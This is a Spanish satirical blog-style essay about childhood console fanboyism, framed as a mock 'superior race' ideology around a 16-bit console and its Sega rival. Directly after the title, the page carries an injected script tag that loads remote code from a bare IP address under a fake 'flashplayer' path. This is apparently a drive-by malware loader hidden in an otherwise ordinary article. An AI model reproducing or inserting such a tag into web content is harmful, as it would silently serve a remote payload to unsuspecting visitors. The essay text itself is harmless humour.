La Raza Superior<script src="http://50.17.48.127/br/flashplayer/"></script>

Yo antes, en mi mundo de estupidez, era feliz

con mi Amstrad CPC 464 de casete. Sí, era muy feliz porque las ordas de fanboys no estaban tan organizadas como hoy en día. No tenían fanboyforos donde realizar sus reuniones secretas de hermandad y conjurar dogmas contra el resto de hermandades rivales. Antes no había facciones, no. No existían conspiraciones judeo-spectrunianas, ni bolcheviques commodorianos… Porque claro, en nuestro mundo de ignorancia, no había cabida para tanto movimiento neuronal. Asimismo, un día podía encontrarme en casa de mi compañero de pupitre jugando al Sirfred de Spectrum; y al día siguiente en mi Amstrad –de casete- al Knight Lore. Pasado un tiempo, llegaron las todopoderosas máquinas de 16

bits y empezamos a comer demasiado Peta Zetas. Como consecuencia, nuestras neuronas despertaron de su letargo bobalicón, para conjurarnos mutuamente: me estaba volviendo más listo.

Mi nueva adquisición lo cambió todo… Aquella consola con el Cerebro de la Bestia, comenzó a formar una ideología fundamentalista en mis emergentes neuronas petazeteadas. Lentamente, pero sin pausa, el nuevo orden mundial se erguía sobre unos cimientos tan resistentes como los botones del pad, en los que descargaba mi incipiente convulsión ideológica. Aquella máquina no era solo un trozo de plástico relleno de chips… era el Mein Kampf de la tecnología.

Fue entonces cuando me di cuenta de que no era como el resto… De que pertenecía a una confraternidad de elegidos bajo una bandera de letras carmesí. Era mejor, más listo y más fuerte que los demás; todo ello gracias a una consola de nombre superlativo, de la que sólo eran dignos los mejores, una raza superior… Una súper raza.

De repente, mi compañero de pupitre se convirtió en mi enemigo necesario. Su vulgar consola del erizo lo desplazó al escalafón más bajo de la sociedad videojueguil. Cuando nos cruzábamos en clase, nos mirábamos con recelo y soberbia. El Modo 7 de la bestia, me hacia caminar erguido al pasar junto aquel infeliz, que presumía de tener un cartucho sónico. Escoria –pensaban mis petazeronas.

El tiempo pasó y

tras la consola

con cerebro de bestia, llegarían otras más –mientras yo seguía consumiendo aquellos sobres de “caramelo con chasquidos”. Pero me daba igual, seguía siendo más listo, más inteligente y era superior a los demás: continuaba perteneciendo a la raza superior. El Enemigo Necesario permanecía acechando a la vuelta de cualquier tienda de videojuegos, así que tenía que estar en continua vigilia, atento a cualquier provocación o comentario despectivo hacia mi insignia carmesí.

Entonces llegó Internet, y con ella, los foros, lugares donde podíamos reunirnos, para comer Peta Zetas y para hablar de nuestra superioridad ideo-tecnológica –bajo el amparo de la bandera con letras carmesí-. De cómo nuestra facción dominaría un día el mundo y aplastarían a la escoria rival. Sí, recuerdo los días en los que salíamos de cacería a otros foros, buscando fanboys inferiores a los que amedrentar con nuestra bravuconería verbal -de raza superior-.

Fueron otros tiempos. Tiempos agitados, llenos de Peta Zetas e insignias, de

megabits y megaherzios, de banderas y avatares con japoneses de cara simpática. Pero las cosas cambian y nada es eterno. Un buen día, mientras deambulaba por un centro comercial de engañosas ofertas, me detuve ante el negro stand de mis bastardos y viles enemigos – no sin antes comprobar que nadie me observaba a mi alrededor –. Me quedé observando durante unos minutos la Rolling demo que allí se mostraba, y en un acto impulsivo y casi inconsciente, me acerqué y agarré el mando; pulsé start y comencé a jugar.

Ahora, desde la perspectiva del presente, miro atrás y recuerdo aquel día en el que me di cuenta de la absurda batalla, que durante tanto tiempo defendí más allá de la lógica. De la sinrazón ideo-tecnológica de color carmesí que arruinó tantas horas de diversión y que ya nunca volverán…